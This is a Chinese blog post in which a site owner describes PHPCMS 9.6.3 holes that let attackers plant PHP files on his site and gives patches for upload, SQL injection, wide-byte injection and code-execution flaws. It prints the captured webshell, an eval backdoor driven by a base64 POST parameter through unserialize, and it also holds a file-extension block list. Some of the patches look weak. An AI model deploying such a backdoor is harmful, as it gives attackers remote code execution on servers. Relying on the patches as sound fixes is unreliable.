• home > php > phpcms >

    漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复

    Author:zhoulujun Date:

    发现网站注入了n多的php文件,分析发现phpcms 即使从9 6 0升级到9 6 3,还是有很多漏洞。修复方法罗列一下。phpcms已经死了很久。还是得换一个系统,如react+json,seo才渲染下html。还可以节约资源

    今天发现网站注入了n多的php文件,网站运营后,一直没有怎么去管它,至今酿成大祸。分析发现,原来上传文件,没有做过滤。

    微信图片_20191110193234.png

    在PHPCMS一些漏洞修复及解决方案

    里面代码大致如下,

    <?php
        class A{
                var $test = "demo";
                function __destruct(){
                        @eval($this->test);
                }
        }
        $test = base64_decode($_POST['guige']);
        $len = strlen($test)+1;
        $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
        $test_unser = unserialize($pp);
        ?>

    文件上传下载漏洞修复

    原来 phpcms\libs\classes\attachment.class.php,这个文件漏洞不少,

    在144行位置:导致getshell修复方案

    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png|svg', $absurl = '', $basehref = '')
    {
       global $image_d;
       $this->att_db = pc_base::load_model('attachment_model');
       $upload_url = pc_base::load_config('system','upload_url');
       $this->field = $field;
           // 此处增加类型的判断
           if($ext !== 'gif|jpg|jpeg|bmp|png'){
               if(!in_array(strtoupper($ext),array('JPG','GIF','BMP','PNG','JPEG'))) exit('附加扩展名必须为gif、jpg、jpeg、bmp、png');
           }

    在164行位置:

    foreach($remotefileurls as $k=>$file) {
       if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
       $filename = fileext($file);
       // 此处增加类型的判断
       if(!preg_match("/($ext)/is",$filename) || in_array($filename, array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))){
          continue;
       }

    注入漏洞

    /phpcms/modules/poster/poster.php 文件中,未对输入参数$_GET['group']进行严格过滤,导致注入漏洞。

    //如果设置了按地区或者按ip分类
    if ($_GET['group']) {
           // $group = " `".$_GET['group']."`";
           // 未对输入参数$_GET['group']进行严格过滤,导致注入漏洞
           $_GET['group'] = preg_replace('#`#', '', $_GET['group']);
           $fields = "*, COUNT(".$_GET['group'].") AS num";
       $order = " `num` DESC";
    }

    宽字节注入

    phpcms\modules\pay\respond.php

    phpcmsv9.5.9以后版本开始默认使用mysqli支持,因为代码逻辑不够严谨,导致宽字节注入

    public function respond_get() {
       if ($_GET['code']){
         //$payment = $this->get_by_code($_GET['code']);//因为代码逻辑不够严谨,导致宽字节注入
         //phpcmsv9.5.9以后版本开始默认使用mysqli支持,mysql_real_escape_string 函数转义 SQL 语句中使用的字符串中的特殊字符,
         $payment = $this->get_by_code(mysql_real_escape_string($_GET['code']));

    任意代码执行漏洞

    phpcms\modules\admin\urlrule.php

    全局替换:$this->url_ifok($_POST['info']['urlrule'])

    为:$this->url_ifok($_POST['info']['urlrule'], $_POST['info']['ishtml'])

    修改函数:url_ifok

    public function url_ifok($url, $ishtml){
        $urldb = explode("|",$url);
        foreach($urldb as $key=>$value){
            if(!intval($ishtml) && strpos($value, "index.php") === 0){
                $value = substr($value,'9');
            }
            if( stripos($value, "php") !== false){
                return false;
            }
        }
        return true;
    }

    现贴到这里吧。

    phpcms n年没有运营了。08年开始弄phpcms 网站,现在也得换一下了。新系统准备用react+json,前端渲染,后台渲染只给seo 蜘蛛看。

    方案完成后,等待github更新吧


    转载本站文章《漏洞列表:phpcms 9.6.3 木马文件注入,任意文件上传等漏洞修复》,
    请注明出处:https://www.zhoulujun.cn/html/php/phpcms/2018_1228_8203.html